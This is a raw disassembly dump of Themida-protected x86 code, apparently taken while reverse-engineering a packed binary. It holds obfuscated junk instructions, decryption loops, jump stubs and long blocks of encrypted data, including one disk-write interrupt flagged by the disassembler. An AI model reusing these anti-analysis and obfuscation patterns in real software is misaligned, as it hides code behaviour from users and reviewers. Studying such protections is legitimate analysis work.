Themida_:005EC777j lea ecx, [ebp+6190DAAh] push esi call near ptr loc_5EC806+1 sub eax, 7EF273Ah loc_5EC806: ; CODE XREF: Themida_:005EC7FCp jns short near ptr loc_5EC866+2 popa pop edx pop ebx jns loc_5EC816 and ax, 0FADBh loc_5EC816: ; CODE XREF: Themida_:005EC80Bj mov [ebp+6122DCDh], ecx xor ax, 26ACh mov dword ptr [ebp+61231BDh], 68B8h mov [ebp+6122DC5h], esi mov dword ptr [ebp+6120011h], 0 call sub_5EC84D mov edi, 0EA6F8B00h or eax, 0BF0BBF59h int 26h ; DOS - ABSOLUTE DISK WRITE (except DOS 4.0/COMPAQ DOS 3.31 >32M partn) ; AL = drive number (0=A, 1=B, etc), DS:BX = Disk Transfer Address (buffer) ; CX = number of sectors to write, DX = first relative sector to write ; Return: CF set on error out dx, eax ; =============== S U B R O U T I N E ======================================= sub_5EC84D proc near ; CODE XREF: Themida_:005EC83Bp mov [ebp+6121925h], ebx pop eax push dword ptr [ebp+61229E5h] add [ebp+612221Dh], eax xor edi, 61A3E137h loc_5EC866: ; CODE XREF: Themida_:loc_5EC806j call dword ptr [ebp+6122781h] jmp loc_5EC87D ; --------------------------------------------------------------------------- db 79h, 16h, 59h db 72h ; --------------------------------------------------------------------------- loc_5EC875: ; CODE XREF: sub_5EC84D+49j xchg eax, ebp ; --------------------------------------------------------------------------- dw 0D1C5h ; --------------------------------------------------------------------------- mov dh, 43h push ds inc eax pop eax loc_5EC87D: ; CODE XREF: sub_5EC84D+1Fj push 0 call dword ptr [ebp+61229D1h] mov eax, eax jmp short loc_5EC891 ; --------------------------------------------------------------------------- db 0Dh, 74h, 0C4h dd 0C8547E02h ; --------------------------------------------------------------------------- push ebp loc_5EC891: ; CODE XREF: sub_5EC84D+3Aj call near ptr loc_5EC89C+2 js short loc_5EC875 jg short near ptr loc_5EC90C+4 push 2Fh loc_5EC89C: ; CODE XREF: sub_5EC84D:loc_5EC891p mov edx, 0F2DF801Fh sub_5EC84D endp ; sp-analysis failed pop edi mov [ebp+61231D1h], eax add edi, 5DBFh mov esi, [ebp+6122339h] push 1749h mov [ebp+612139Dh], esi pop ecx mov bh, 0Fh ; START OF FUNCTION CHUNK FOR sub_5EC905 loc_5EC8C2: ; CODE XREF: sub_5EC905:loc_5EC923j mov edx, [edi] mov si, 0BF9Ch xor edx, 13927C1Bh mov esi, [ebp+612087Dh] add edx, 0B5868C2h cmc sub edx, 1B27CFF0h cmc push edx mov esi, [ebp+6122A19h] pop dword ptr [edi] cmc sub edi, 4 mov si, dx dec ecx jnz loc_5EC923 call near ptr sub_5EC905 sar bl, cl or eax, 22137FE0h ; END OF FUNCTION CHUNK FOR sub_5EC905 ; =============== S U B R O U T I N E ======================================= sub_5EC905 proc far ; CODE XREF: sub_5EC905-Cp ; FUNCTION CHUNK AT 005EC8C2 SIZE 00000043 BYTES mov [ebp+6120005h], edx pop esi loc_5EC90C: ; CODE XREF: sub_5EC84D+4Bj jmp loc_5EC935 ; --------------------------------------------------------------------------- pop edi push ebp pop eax mov ds:63CD2A3Dh, eax retf ; --------------------------------------------------------------------------- dw 8329h ; --------------------------------------------------------------------------- push ebx pop edi mov ebx, 146D78B3h loc_5EC923: ; CODE XREF: sub_5EC905-12j jmp loc_5EC8C2 ; --------------------------------------------------------------------------- dd 0EE501536h, 0E804C546h, 0DDF85151h db 0FFh ; --------------------------------------------------------------------------- loc_5EC935: ; CODE XREF: sub_5EC905:loc_5EC90Cj lea ecx, [ebp+6190EF7h] push 0 push ebx call sub_5EC946 and [ebx-3Dh], bl sub_5EC905 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5EC946 proc near ; CODE XREF: sub_5EC905+39p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5EC946 endp ; --------------------------------------------------------------------------- jo short near ptr loc_5EC95E+2 xor eax, [ebp+61225BDh] loc_5EC95E: ; CODE XREF: Themida_:005EC956j mov [ebp+6122DCDh], ecx xor [ebp+6121385h], eax mov [ebp+612173Dh], eax mov dword ptr [ebp+61231BDh], 621Ch mov [ebp+6120089h], edi add ax, 80FFh mov dword ptr [ebp+6120011h], 0 mov [ebp+6121D15h], ebx movsx edx, di push dword ptr [ebp+61231F1h] mov si, 9D8Eh call dword ptr [ebp+6122781h] push 0 push ebp call sub_5EC9B3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EC9B3 proc near ; CODE XREF: Themida_:005EC9ABp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5EC9B3 endp ; --------------------------------------------------------------------------- mov fs, bp sub [esi+6A9E2399h], bh add bh, bh xchg eax, ebp shr dword ptr [ecx], 1 adc al, [esi] mov eax, eax jmp short loc_5ECA54 ; --------------------------------------------------------------------------- dw 2922h dd 0FE20C074h, 89BA69B8h, 29C03359h, 86049BAh, 6F27BAA7h dd 0EAD87DD6h, 9ADE86C0h, 7D295D95h, 0EBD95F81h, 4BF17428h dd 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 75C9C66Dh, 6E20D09Eh dd 5C206EA0h, 7D87E547h, 2C7A55Fh, 8AA1622Fh, 0C9628704h dd 65234E89h, 0D50175FAh, 0E79F403Bh, 97F947B0h, 1DC2565Bh dd 93C79C47h, 3EEC8158h, 191E1A26h, 3041EF11h, 0D7FE796Fh dd 0B343212Fh ; --------------------------------------------------------------------------- loc_5ECA54: ; CODE XREF: Themida_:005EC9D4j jmp loc_5ECB33 ; --------------------------------------------------------------------------- add eax, 0D73E5737h pushf inc ebp retf 0C8C3h ; --------------------------------------------------------------------------- db 0E1h dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h dd 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh dd 0 dd 129D7447h, 5E99E0E3h, 8 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5ECB33: ; CODE XREF: Themida_:loc_5ECA54j jmp loc_5EE002 ; --------------------------------------------------------------------------- push 6191245h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 619133Bh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 619140Fh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191532h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61915B9h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191696h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191744h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61917F2h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 619189Ch jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191A09h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191B16h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191CB4h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191D99h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6191F00h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6192015h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61921A9h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 619228Dh jmp loc_583BD9 ; --------------------------------------------------------------------------- dw 276Ah dd 8A029BE8h, 0EB9F3885h, 513ED724h, 0B5D871BEh, 981D0D5Ah dd 8BD83756h, 297699F2h, 0C20F0090h, 5DAA6529h, 5B2C3483h dd 284DF870h, 1C72754Bh, 5FF0979Fh, 0C1CA47DFh, 40ABB64Eh dd 0C34C420Bh, 21101976h, 8D345A62h, 485349F1h, 8E90FB13h dd 24634DF1h, 8E82050Dh, 0F6014DF1h, 0C3CA1763h, 24AECDC3h dd 3818h, 0A5AE6A00h, 0FF0DF702h, 43AEA406h, 0C94A7C84h dd 0ACAD49F1h, 0DB8770E1h, 0C3B2F16Fh, 752EED58h, 0F0C3F817h dd 2B60785Dh, 0C84DF1B9h, 665E35ACh, 0B324AEA7h, 0D4h dd 0F31C7205h, 0B1DE97BEh, 0D3BACB5Eh, 503E073Ch, 454700BFh dd 895237CAh, 0D5BD0A05h, 47DF5A90h, 226FA0EEh, 7B0C142Bh dd 847DF63h, 35596AFDh, 95FA611Ch, 0A20D41A7h, 0EAD7E06Dh dd 48B7232Bh, 0E8FF49F2h, 0F242A7E0h, 36C9D44Dh, 0B3D725EEh dd 540C601Fh, 0B9A92AE9h, 0BD003D2Ah, 0C72421B4h, 1018D7BEh dd 50046576h, 0ED9AA201h, 8E47E62Dh, 0A0591883h, 0AA6322EDh dd 21F429E6h, 95F8918Eh, 0E9000DBCh, 643626C0h, 43ED920Ch dd 72F15CC7h, 0EDBF8FB7h, 524F16BBh, 2D000012h, 0C55EAB64h dd 62FB48C7h, 19AE728h, 9B34818Eh, 0E0D01DF2h, 9B7419D5h dd 39D6B54Eh, 0D23D53ECh, 6DA2EC85h, 0EFF74620h, 4DF87198h dd 72380EEBh, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h dd 6E2D3849h, 439D6B5h, 51BED031h, 0F9B2D9BEh, 86E67996h dd 4DF18105h, 780FD2EEh, 24AEDF18h, 0E1CDh, 0A15DDE00h dd 0B1DB5560h, 75121AD9h, 64DF1B7h, 723A68FBh, 0F5BEF31Ch dd 0FFB87798h, 7A4D828Dh, 7BEA02E7h, 0BF47DF5Ah, 0FCF340CFh dd 63AADDE5h, 0CED947DFh, 0AB642A3Bh, 30384F76h, 47DF6357h dd 0B1861924h, 0F2FAB9A8h, 49F164E8h, 887FCCD7h, 1C51BECFh dd 6E9AEDF5h, 0DEE94DF1h, 20BE073h, 474C5413h, 2C500411h dd 71E16221h, 2BB8581h, 17F898F9h, 315C1584h, 905828Ah dd 6B7647E6h, 731AB300h, 0CC161D9Ch, 973CEDBFh, 115CD0h dd 0B55A3700h, 52BDCF68h, 0F11E6C05h, 8B840BA4h, 27E8A53Eh dd 23CBEADAh, 0BF58A56Ah, 5DF643CCh, 0F68FDC33h, 502A7798h dd 728EF901h, 10ED4DF8h, 0F5FD143Ah, 47DF5F92h, 4253E6F1h dd 0DE77C44Bh, 0C082A1B0h, 9AF61A74h, 0BA163C71h, 0A30E7FA6h dd 5B14A056h, 0B7FE02Fh, 69FCCF04h, 0A4D93658h, 0DFAD667Dh dd 7828FB30h, 47DF600Fh, 0BDCE616Ch, 58F13ED1h, 0DFA8DD32h dd 0A31360AFh, 0E2CFD8A1h, 75331B23h, 475249F1h, 0C9040788h dd 889E2CF2h, 7A14F4F5h, 805E5BD2h, 0C3CB8A77h, 3B89CE4Bh dd 6DFA2F3Ah, 0B6BE7D64h, 417D505Fh, 0C34C4344h, 22FDFD8Eh dd 19B89BF9h, 0CB8443AEh, 0D48D4CC3h, 512459B6h, 6628C1BEh dd 3A232AA9h, 8A2F1C26h, 1088C3h, 0E12E6300h, 7E91FB94h dd 1DF29831h, 0B75837D0h, 53BCD16Ah, 4F9F1606h, 0EB84D13Eh dd 89226FA0h, 22BB0807h, 7C56A36Ch, 7362252Dh, 44214DF8h dd 3B93146Eh, 0EFF1BB3Bh, 6F1F30C3h, 8B446BA0h, 0A87D10FFh dd 0EBF3B29Fh, 49F20943h, 0C54A4142h, 0A7B00D5Ah, 0BF3FBBAh dd 3A5003F8h, 5159702Fh, 47DFE436h, 0C2A73A45h, 0DFE3E1AAh dd 0EBF61247h, 0BC7A2CA4h, 48F922h, 510A0000h, 0CC9FD43Bh dd 0A5AE0B39h, 7F901C0h, 3A49F1AEh, 0CEF12871h, 0C77523Dh dd 16F9944Dh, 0C7B0EE1h, 85D23D53h, 0F257F09Dh, 4FC0CE4Dh dd 0E8276902h, 0BC758CB3h, 35083DD2h, 0F2580285h, 0E376814Dh dd 0FC8D4h, 0A5AE3E00h, 0E8F901C0h, 0D749F66Fh, 3A540DCCh dd 9FEF88D5h, 929AB170h, 4DF86FF5h, 3E87B86h, 0C9886D76h dd 0F7D47C1h, 702F3A50h, 0EB38D7B7h, 9ED33C52h, 5A190811h dd 7E4C3B43h, 629E47DFh, 276C9420h, 0E6A5B048h, 0E02DA9DEh dd 3CCFDA47h, 4DADC5CDh, 8D9849F2h, 0ABB4310Eh, 0D59C41EBh dd 0F65h, 71BE5140h, 0E5BB4D8h, 0ADFA1575h, 47947B14h dd 0E330DFAEh, 612CC2F3h, 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h dd 0A593380h, 0F8748502h, 4319F64Dh, 0DF5F6823h, 7273F447h dd 84528472h, 8A81060Eh, 0F70247DFh, 211D638Ch, 9F5915D9h dd 472E370Ch, 6CC08088h, 0E8F349F7h, 0F11E7029h, 96830BA4h dd 7AAF1AF5h, 8307E4EDh, 1984578Ch, 63DC525Ah, 0BC4500Bh dd 82558A85h, 1D9CA7EFh, 0EDB28838h, 0DEAE751Ah, 0B900000Eh dd 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h, 6C5CA966h dd 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h, 7B83D2ACh dd 4DF8750Ch, 72BC926Fh, 7F90FD1Ch, 4D0C774Ah, 6C22F794h dd 309B6EA3h, 9FEFB89Dh, 0C1503B70h, 0FC8B93AAh, 7F47DF5Fh dd 5FC3C474h, 0B5C047DFh, 840BD622h, 22BCE20Ch, 965D9h dd 5B142B00h, 754ADD32h, 222EC76Ch, 0DB10FF90h, 1AF8DF08h dd 21276068h, 495447E0h, 9DB473DEh, 1172E51Ch, 0CAC0B6FEh dd 1379DA45h, 2A0969FCh, 9949F6CAh, 0FFB8CF8Eh, 6A21828Dh dd 8D0112A5h, 0F29C3582h, 0BBD0E81Dh, 3B4DF8B1h, 0AEE28532h dd 0B9AAFB14h, 931D6390h, 7EE9E0CBh, 938606BFh, 15A813FCh dd 0FA909EA6h, 2C37500Ah, 0B2FF3EADh, 480FB4EDh, 0E01h dd 0D5AB5DCh, 0AAF71874h, 49967911h, 0E330DFB0h, 7FCC434Ah dd 0C5C8268Fh, 2764FD4Ah, 8E029BE8h, 0F39B3481h, 0A6F5CF1Ch dd 0F875E99Eh, 0E7BD9A4Dh, 0BEF31C72h, 0B77699F5h, 5FEF98A0h dd 818C47DFh, 4F4009EEh, 0CCC28BC0h, 95490E43h, 0A814974Ch dd 0F4975039h, 3BA66925h, 0E25B3BA8h, 8B9022BCh, 0E2000008h dd 0DF5F6823h, 0A0858E47h, 0B76228E1h, 2E0136D9h, 0B9C130C3h dd 49F66FBAh, 661FDEE9h, 0ED5C2928h, 64DAE9Ah, 0D9B54E9Bh dd 6B740136h, 6FBFC786h, 0EF500B67h, 9CD25A6Eh, 18AB1409h dd 0AF46C5D0h, 23EDB2DFh, 0D53B77Eh, 632E0000h, 0C6C65FACh dd 2763FC49h, 8D029BE8h, 0F19C3582h, 0D4E1D11Eh, 4F9C731Ah dd 0ED3AD5B6h, 86D33C54h, 216EA1EDh, 97F0F847h, 0E44DF876h dd 1C723107h, 0F7B34F3h, 588D820Ah, 0A2871A85h, 41CEC27Bh dd 95A6390Ch, 0F6E116F9h, 5030578Ah, 8522BCE2h, 7EAh, 0C0A5AED7h dd 6FA9F901h, 899449F6h, 0C632B3CAh, 40AE30BBh, 29E6A506h dd 6098596h, 0A16E20B9h, 4737546Ch, 0B6BF4DF9h, 260810CFh dd 7A500B5Ah, 6EB088F9h, 56AE8A48h, 9355EF7h, 384F57D3h dd 4B47EAD9h, 0FA42D540h, 127D92F9h, 0B21CCC93h, 0FAC166EDh dd 0CA5h, 0B1FE1180h, 4E9B7418h, 0ED3AD5B5h, 87D43B54h dd 23709FEEh, 216C8233h, 8308A1EEh, 0EAA63F8Ch, 4F3FD825h dd 4A9973C0h, 0F8764542h, 8359364Dh, 0BEF31C72h, 0B899F5h dd 0C620F6B1h, 0B16A2994h, 0B99E31DEh, 87F62CEh, 22BC8E88h dd 7415Dh, 6723AF00h, 8947DF5Fh, 0CAD29180h, 49F66F7Bh dd 0A7BE7D88h, 0F86EE89Fh, 0FD909B4Dh, 56B9D58Eh, 0F11E7009h dd 81262FBCh, 5B302F8Eh, 83AC7FB4h, 0D7428B72h, 0A7C61018h dd 0F30A500Ah, 0EA839CEBh, 41D4DF47h, 0F5929AF9h, 8647EA83h dd 0C491107Bh, 6EEDB241h, 0BFB02C9h, 0BBD60000h, 1E6E0754h dd 7F0BA4F1h, 0E5AA4390h, 4944DD2Ah, 2C8979C6h, 0F744CBC2h dd 95E22D5Eh, 2E7B94FCh, 0C916F995h, 0EF98A0EFh, 8C4DF877h dd 5B14D9AFh, 3C4DE02Fh, 0BF88BD52h, 2C0B40CFh, 975039A8h dd 13E61BF4h, 0F01F6F80h, 0FED6AEA3h, 840322BCh, 55000001h dd 0BEF31C72h, 43F91697h, 955729FDh, 19AC17F8h, 3C898608h dd 30EFD6DFh dd 0E02F6019h, 0E545D8ABh, 49F289A9h, 5EB1DBDCh, 0E32C6029h dd 570DBAEh, 31D3B8D0h, 0A9E74DF2h, 24683166h, 0F008AEBh dd 9B4632DAh, 319DEAF2h, 0D3DE4DF2h, 0BD244068h, 9D721BD4h dd 30259D0Ah, 33F224AEh, 44000000h, 1C0A5AEh, 0F17ECDF9h dd 0F82D3849h, 0F2D50D1h, 0A7AA0DC9h, 93C84746h, 0BECD2DC0h dd 354DF1AFh, 0C1C1C819h, 0A924AEAEh, 0DC6FA0F0h, 0E4DAh dd 5B142C00h, 0E2ABE02Fh, 5B2E63ACh, 424C5DF0h, 0BECF98CDh dd 3B531C51h, 600F7880h, 2CDB47DFh, 6179CA4Ch, 2D98A33Bh dd 7618D1F8h, 0D2916499h, 0DF67BDCAh, 20B3BE47h, 43907F0Fh dd 0DF8C3A5Bh, 0E12E6047h, 472E3794h, 0D3B87188h, 0D049A93Ch dd 0AF49F225h, 612CE5A4h, 5536EFAEh, 0D83759BAh, 403DD0A3h dd 2B05C849h, 0ED5D73F1h, 0F363A2E5h, 6BD6E14Dh, 53C6C7D8h dd 0ED6CD738h, 0EBAD6156h, 8EB0771Ch, 6900000Ah, 19AE728h dd 9E37848Bh, 3DD623ECh, 0D770BD52h, 1C0C59B6h, 0D7385599h dd 759AF18Ah, 0E018F28h, 0A96628C1h, 2B33825Ch, 4DF8795Ch dd 726C421Fh, 0C0BA361Bh, 0CC4EE83Ch, 9C1D1461h, 0D87CE47Ah dd 3849DC9Bh, 0E3FAB956h, 0FCAC632Ah, 47DFA18Bh, 7798F7F8h dd 0A3046F42h, 949124EBh, 0F31C72DEh, 7699F5BEh, 5109229h dd 0AEFC0000h, 0C3B102A5h, 0ACEA0845h, 636B8241h, 47DFF024h dd 4AB94C57h, 0F1F93842h, 9D5C6749h, 1A79DC1Ch, 3FD262E2h dd 137A335Ah, 820969FCh, 384DF168h, 44CBC455h, 9CD13C0Fh dd 2055BAD3h, 513AA75Bh, 0F1693E49h, 0C7323D4Dh, 275E839Fh dd 24AEF7AFh, 2427Ch, 6123CE00h, 0ED47DF5Fh, 57B85734h dd 0CFA2D738h, 775E673Ch, 6FCBB0B8h, 0EDF849F6h, 0F619752Eh dd 917E10A9h, 0C3B4355Ch, 2E43336Bh, 9DE71h, 0F5995211h dd 7F12E51Ah, 49CE0810h, 2E39500Bh, 0B2A70EAFh, 783FE4EDh dd 981h, 8DDA355Ch, 2A7798F4h, 0C916F991h, 63B05F30h, 0FF4CC3CAh dd 4548A60Fh, 0A7E47DCAh, 0E821B68h, 731BB401h, 26754F9Ch dd 0F87A691Eh, 673D1A4Dh, 0BEF31C72h, 78D61697h, 56E95E20h dd 0E37699F5h, 1E53BCD2h, 0BB26BB3Fh, 0CF4A46D3h, 4A1D52BDh dd 322774DFh, 22BC6E52h, 19A87h, 0AFDF9800h, 729FCD60h dd 0F5BEF31Ch, 6D1A2299h, 0E47DF5Fh, 0EE4B9803h, 8D820AE5h dd 335B6322h, 2B49F18Dh, 0BDF21D72h, 0E7996F4h, 0CCD4337Bh dd 4DF18EBBh, 1D52BDC8h, 0F18E8605h, 90516D4Dh, 0AECD99F9h dd 604E24h, 0DE5F0000h, 46EA320Ch, 0ADDB6E53h, 1C0A5AEh dd 608B9680h, 0B1704744h, 0E04CDEA9h, 0FF929D47h, 6C3E8890h dd 3E4949F2h, 51C8C67Fh, 416AD53Ah, 0B7D68220h, 856AFDBCh dd 0F1C31E6Dh, 28B9D54Dh, 26E9A65Fh, 0BDF51EF1h, 8EA93991h dd 8B0B780Bh, 0F324AECBh, 0B6504072h, 8316119Eh, 0D281h dd 1C72D300h, 477C93FDh, 0BD40974h, 8F588D82h, 985110FFh dd 0AB6426F3h, 0A538A376h, 7897F7C0h, 0A842432Bh, 0F30A47DFh dd 86BB543Ah, 0B28403B3h, 0ECF747DFh, 0B1A045C3h, 16A9B00Bh dd 0FB908905h, 0A10CDF14h, 7EEF754h, 14FB8F48h, 0D7B0B8DFh dd 0A447DFB5h, 2C9B2E99h, 0F257F524h, 8C7D249h, 5B9EE9F1h dd 0DCDD4DF4h, 572A5FB0h, 0C038BECh, 27104D7h, 0CCB4449h dd 0AAE23753h, 0F25D3065h, 5A57EABDh, 7985CCC1h, 68507D8Fh dd 0CD7AF964h, 25EBAD6Ah, 7E3B980h, 0D3BE0000h, 3656EF3Ch dd 97F38CD9h, 0FD922B78h, 612CC512h, 447161AEh, 0DF2CE3AAh dd 7DCA4546h, 1663ACE4h, 0B1FE117Dh, 78088D7h, 744DF87Ch dd 1B72C197h, 800EA7F4h, 728C428Fh, 0F5BEF31Ch, 6D1A2299h dd 0E47DF5Fh, 0B44B9803h, 282h, 0C9BEC6DDh, 0BA47DF5Fh dd 0AEEE1CAFh, 0F901C0A5h, 49F66FACh, 13747CDBh, 704DF870h dd 0ADC5FA65h, 4DF86FDEh, 285DB2DCh, 0ABE02F5Fh, 15CA1703h dd 7910D1EDh, 24A5EE19h, 63C7E061h, 0B4B9AC2Fh, 0F8BFDBACh dd 329DA84Dh, 2139D9Fh, 0F5AE0000h, 30C7E9Bh, 23D70598h dd 47DF5F61h, 0D8977E87h, 0F66FDDD0h, 0A7E9EA49h, 853EFD68h dd 20B90609h, 42454D6Eh, 414DF870h, 996CB36h, 99521100h dd 168518F7h, 0A85C80Eh, 0A5242F50h, 0EDB26000h, 0FEE6AD52h dd 0D9000006h, 710A57B8h, 0EA7F41Bh, 0AD46937Ch, 47E02DE2h dd 8C7CC946h, 47C8C529h, 0E52A61FAh, 7E91FF98h, 19F69831h dd 9BA3F2CCh, 4DF87CECh, 72DCB28Fh, 97BEF31Ch, 295EB1DEh dd 0DCB2C356h, 9B1FFE33h, 0C8F39B46h, 0DF5FC7C0h, 3EA9B447h dd 784FE7Fh, 0EE57C672h, 0D80D028Dh, 80757205h, 22BC0000h dd 164D5h, 5F2DE600h, 6A33545Ch, 455047E0h, 3FD2A5DAh dd 351C7211h, 52AE3248h, 0C2F762CAh, 88495F9h, 94FFD207h dd 0F4E1EA47h, 0FD612D35h, 192449F1h, 0BDBFCCE4h, 18344DF1h dd 0BCC2C2C9h, 29AA24AEh, 951819DEh, 8A8C1FA6h, 44h, 66A9E29Bh dd 5B14A5D3h, 0D6A9DE31h, 0C0F51A75h, 7C855AEDh, 683E8ED7h dd 81EC3AC8h, 600CBAC2h, 0D35449F2h, 0D36AB08Ch, 64EE154h dd 19848B05h, 5ABFCCE4h, 18344DF2h, 5C2C2C9h, 0BC1724AEh dd 69000000h, 0BEF31C72h, 0A3B998F5h, 3B25361h, 99629702h dd 1CE51AF5h, 0C7DE9D72h, 9DFA8B0h, 919C47E0h, 0E009A6E1h dd 37CAD547h, 242C433Ah, 47E00963h, 0DAB41520h, 7342A235h dd 5747E07Bh, 63ACE237h, 454EABF8h, 1320A160h, 5C8BE340h dd 1F279629h, 49F204FAh, 661FDEE9h, 589EA25h, 4F08770Ah dd 0EB84D13Eh, 0ADEE6DA2h, 0C5EBADCFh, 5975920h, 1F720000h dd 820AA3F0h, 0E3A7408Dh, 4946DF2Ch, 0ADE079C6h, 90251562h dd 93E02F5Eh, 317E91FAh, 0CA17F898h, 65B25D31h, 53343C8Bh dd 304DF87Eh, 1B727D53h, 800EA7F4h, 5F54333Bh, 0C82747DFh dd 0DF5FC7C0h, 3EA9B447h, 72D086D3h, 0F5BEF31Ch, 2934B899h dd 5F4AFC2h, 9D564D9Ah, 7D8C1FF0h, 22h, 0F31C72E7h, 8099F5BEh dd 6196010Eh, 0BF2AB7CBh, 8140CFh, 0FE2FEFC7h, 2623B6F8h dd 128Fh, 1C72F900h, 0E8A6BEF3h, 8547DF5Fh, 117D6879h dd 14FBB1FEh, 7C1F325Bh, 24707A50h, 3546D944h, 42CFF859h dd 669B4E27h, 3039C6FBh, 0B26B8241h, 43A336D9h, 49F6B19Eh dd 2C43020Dh, 0A01C56ABh, 56E9F8CBh, 79C64945h, 2C61AEE0h dd 0F0AF969Fh, 25B85737h, 0C5AAEB6h, 1A255010h, 23ECA25Bh dd 42454D64h, 7847DFF0h, 965FF718h, 0A0A18855h, 48A9142Ah dd 3835C847h, 0EB20EF9Fh, 0B170555Eh, 0F250C9A9h, 6AE9F449h dd 0EBABA85Bh, 820BD277h, 5D000004h, 0F58EDB34h, 922B7897h dd 31CA17F8h, 0CB64B15Eh, 10004DC2h, 0CB4449A5h, 69A6E57Eh dd 20D831Ch, 9D721CB5h, 1F277650h, 4DF87F68h, 72683E1Bh dd 1D34F31Ch, 35E52A64h, 47DF5F52h, 0B15E3031h, 153EA97Ch dd 0C8BA923Ch, 5C59ECD1h, 0F44CBC3h, 0B15E2FE8h, 8E810D1Eh dd 0EBF67A59h, 4838BA2h, 5047DFD8h, 0DFD83F48h, 99313C47h dd 0A4EAFB8Eh, 0FF80F7ADh, 0D23DF077h, 69309085h, 0BF7822BCh dd 380B40CFh, 2DA3A5h, 0AEF50000h, 0F901C0A5h, 49F1AE07h dd 0B7702F3Ah, 1E936D9h, 4DF1AD8Ch, 66B35C32h, 174CC3CDh dd 15BB6FF0h, 0FD28B73Bh, 3CB5B6Ah, 72C50000h, 0F5BEF31Ch dd 32297699h, 0C5FA1579h, 73F78334h, 0E6512D63h, 90757E53h dd 60C5C9D1h, 0B5C049F2h, 5B236880h, 0B4D04DF2h, 196E662Dh dd 2FBB24AEh, 0D000000h, 1C0A5AEh, 0F17ECDF9h dd 0F2FA1149h, 4DF18095h, 48DBE6h, 0E3A8C0F5h, 104DF180h dd 2EA6EDF4h, 0FB24AEDFh, 0B8h, 0D837530Ch, 1C721745h dd 98F5BEF3h, 90FFB877h, 3E07EC7Fh, 0C18ABF50h, 0FEF542CDh dd 0BDCF4A45h, 0DFB2E752h, 5A79EC4Ch, 9E5747DFh, 7B8C1FF0h dd 16AFFC13h, 0FD67D978h, 396F1F9h, 0DAE547E0h, 0E87CCCB1h dd 0B2BB487Dh, 5AFC04C3h, 3D49F17Bh, 7F88E532h, 50CBD392h dd 33500424h, 0E0B06928h, 9427FA2Fh, 0EE216C25h, 9BF1AAA1h dd 0D96C3F74h, 0CB4AC5C8h, 0EDBFEAC4h, 0EEA2690Eh, 0C9000002h dd 61FA47C8h, 0FE97E42Bh, 9D36838Ch, 37D01DF2h, 7C6CB956h dd 37D8B539h, 0D53A51EAh, 6EA1EF88h, 9068821h, 8B93E2BCh dd 4DF880FCh, 72CCA27Fh, 0EA7F41Bh, 8C428F80h, 1C0A5AEh dd 0F17ECDF9h, 57373849h, 45B083B8h, 8093F810h, 44604DF1h dd 0DF9EF69Dh, 0E34B24AEh, 5C000000h, 0F328E7A3h, 145F8D20h dd 5F92F5FDh, 0E6F147DFh, 0C34C4253h, 51C8C58Eh, 11767E3Dh dd 7247DF60h, 0EF9BFC67h, 0AD18EB20h, 5B056078h, 256947DFh dd 8A049DEAh, 0BAC35085h, 0EE59B6D5h, 0FA15762Fh, 66F0F867h dd 5149F15Ch, 659DEAF2h, 0D3DE4DF1h, 9BF0A968h, 0D96C3F74h dd 8F767FDCh, 7F6C8D0h, 72D15004h, 628294F1h, 0D989A82Bh dd 47E5ADAEh, 9857C2CDh, 1461AEDFh, 7EFD127Bh, 0EDBF2803h dd 0AE3AA4Fh, 0E5000002h, 7D1663ACh, 1AB3000Fh, 0B9529F70h dd 53EC39D6h, 9888D53Ah, 53BCD11Dh, 0F11E6D06h, 8A850BA4h dd 25EAA43Dh, 0A7AFFED8h, 4DF881E0h, 72F0C6A3h, 838CFE1Bh dd 3AD85918h, 87A3BCAFh, 8A817E11h, 431EF273h, 0AE9206D8h dd 0DF9789FEh, 92F9FA47h, 0A75487Dh, 0E7286677h, 5B14E49Ah dd 3C4DE02Fh, 0BF88BD52h, 5AF340CFh, 87F8734h, 0EA47DF60h dd 139DA059h, 0FE09A1BFh, 0C8D15E93h, 90121AD9h, 5F49F1D7h dd 767E9554h, 4DF1D911h, 0EFD46772h, 5B865B47h, 641DDC33h dd 0DBAEE32Ch, 0E5EE4B48h, 49394100h, 4D5003E4h, 0A456FB94h dd 39852F9h, 0A97CB11Ch, 9A5E2EAh, 0CBD647E0h, 9CEFF038h dd 0BAAD3E73h, 0CB6F3C92h, 3A6FDA45h, 0FC341D71h, 3857FAAEh 